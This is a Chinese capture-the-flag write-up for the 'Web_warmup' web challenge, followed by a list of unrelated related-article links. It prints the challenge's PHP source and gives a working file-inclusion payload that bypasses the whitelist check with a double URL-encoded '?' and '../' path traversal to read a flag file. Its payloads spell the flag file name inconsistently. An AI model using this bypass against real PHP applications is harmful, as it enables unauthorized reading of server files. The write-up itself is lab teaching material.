防世界之Web_warmup
题目:

啥都没有,右键打开页面源代码查看一下

发现source.php源文件,输入http://111.200.241.244:53776/source.php看看
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
===============================================================================================
显然,需要代码审计一下。首先定义了一个类,类中有一个检查文件的方法,里面有个白名单判断页面是否是source.php或hint.php
source.php是源码,看看hint.php有什么

发现flag不在这,在ffffllllaaaagggg文件里
继续看php源代码一个条件判断语句,如果传一个参数file不是空的并且是的字符串,检查传入的参数是否在白名单里输入如下
http://111.200.241.244:53776/?file=source.php?fffflllllaaaagggg一级一级的试注意因为mb_substr截取的是两个?之间的page还经过url解密,所以?需要url加密两次
?url加密两次就是

http://111.200.241.244:53776/?file=source.php%25%33%66ffffllllaaaagggg一级一次网上试%25%33%66
最后结果为:
http://111.200.241.244:53776/?file=source.php%25%33%66../../../../../ffffllllaaaagggg

================================================
总结:
审计代码


http://111.200.241.244:53776/?file=source.php?fffflllllaaaagggg
防世界之Web_warmup的更多相关文章
- Reversing-x64Elf-100----攻防世界
题目来源:攻防世界 环境:win10 软件:pycharm.64位的ida 常规的操作ida打开查看,看到了main函数,
- app1----攻防世界
啥也不说把题目下载下来,在模拟器里运行一下 输入正确的key就是flag 继续下一步分析,可以使用Androidkiller分析,我喜欢使用jeb这里我就使用jeb进行分析 找到MainActivit ...
- crackme---攻防世界
首先下载附件之后,查壳 虽然什么也没有发现,但是看一下区段就知道,这个是北斗的壳.所以我们首先载入od开始把壳脱掉 这里面也可以看到pushfd和pushad是北斗壳的特征 这里面我使用是esp定律脱 ...
- dMd----攻防世界
首先在Linux上查看题目,没有什么发现elf文件,之后使用ida打开看看,找到main函数,f5查看, 上图一些字符是char过的,便于查看,发现是一个if else语句,先经过了MD5加密然后判断 ...
- maze-----攻防世界
题目下载之后在linux上查看一下 发现是elf文件尝试运行一下: 要求输入正确的flag才可以,ida查看 交叉引用 对长度和开头对比,进行判断. 转到400690查看 和#进行比较,hex 是一个 ...
- no-strings-attached-----攻防世界
拿到题目到虚拟机里的查看一下 把这些十进制数字转换为16进制,然后利用python deocde 注意0 87这里需要舍弃
- imple-unpack---攻防世界
拿到题目查壳没有发现.题目已经明确说了,基本上是有壳的,Linux下面看看 应该就是upx的壳了,下载upx进行脱壳,https://sourceforge.net/projects/upx/file ...
- open-source--攻防世界
题目直接给了源码,发现只要跳过条件就可以得到flag
- Web_php_unserialize-攻防世界XCTF
0x00 简介 记录一下,重点是记录一下那篇正则文章. 0x01 题目代码 <?php class Demo { private $file = 'index.php'; public func ...
随机推荐
- 【Java】Super
Super super用于调用父类的属性.方法.构造器,与this相同. super的使用 属性与方法 在子类的方法或构造器中.通过使用"super.属性"或"super ...
- python环境搭建以及jupyter notebook的安装和启动
一.Python 环境搭建 本章节我们将向大家介绍如何在本地搭建Python开发环境. Python可应用于多平台包括 Linux 和 Mac OS X. 你可以通过终端窗口输入 "pyth ...
- Abp vnext EFCore 实现动态上下文DbSet踩坑记
背景 我们在用EFCore框架操作数据库的时候,我们会遇到在 xxDbContext 中要写大量的上下文 DbSet<>; 那我们表少还可以接受,表多的时候每张表都要写一个DbSet, 大 ...
- Manacher算法求解回文字符串
Manacher算法可以在\(O(N)\)时间内求解出一个字符串的所有回文子串(正反遍历相同的字串). 注:回文串显然有两种,一种是奇数长度,如abczcba,有一个中心字符z:另外一种是偶数个长度, ...
- azure 控制台小工具
这个控制台往往被忽略.
- 用Cesium可视化地下设施、矿山和地质层
Cesium中文网:http://cesiumcn.org/ | 国内快速访问:http://cesium.coinidea.com/ 本月的CesiumJS 1.70发布引入的一项关键改进是地下数据 ...
- atan2(y,x)和pow(x,y)
atan2(y,x): 函数atan2(y, x)是4象限反正切,求的是y/x的反正切,其返回值为[-π,+π]之间的一个数.它的取值不仅取决于正切值y/x,还取决于点 (x, y) 落入哪个象限: ...
- gin框架中全局跨域请求处理设置
跨域访问的问题 OPTIONS请求 全局跨域访问中间件 // 跨域访问:cross origin resource share func Cors() gin.HandlerFunc { return ...
- JVM专题2: JVM内存结构
合集目录 JVM专题2: JVM内存结构 Java 内存分配 JVM 内存结构 The JVM is an abstract computing machine that enables a comp ...
- DOM Document.readyState 属性
感谢原文作者:MDN 原文地址:https://developer.mozilla.org/zh-CN/docs/Web/API/Document/readyState 描述 一个document 的 ...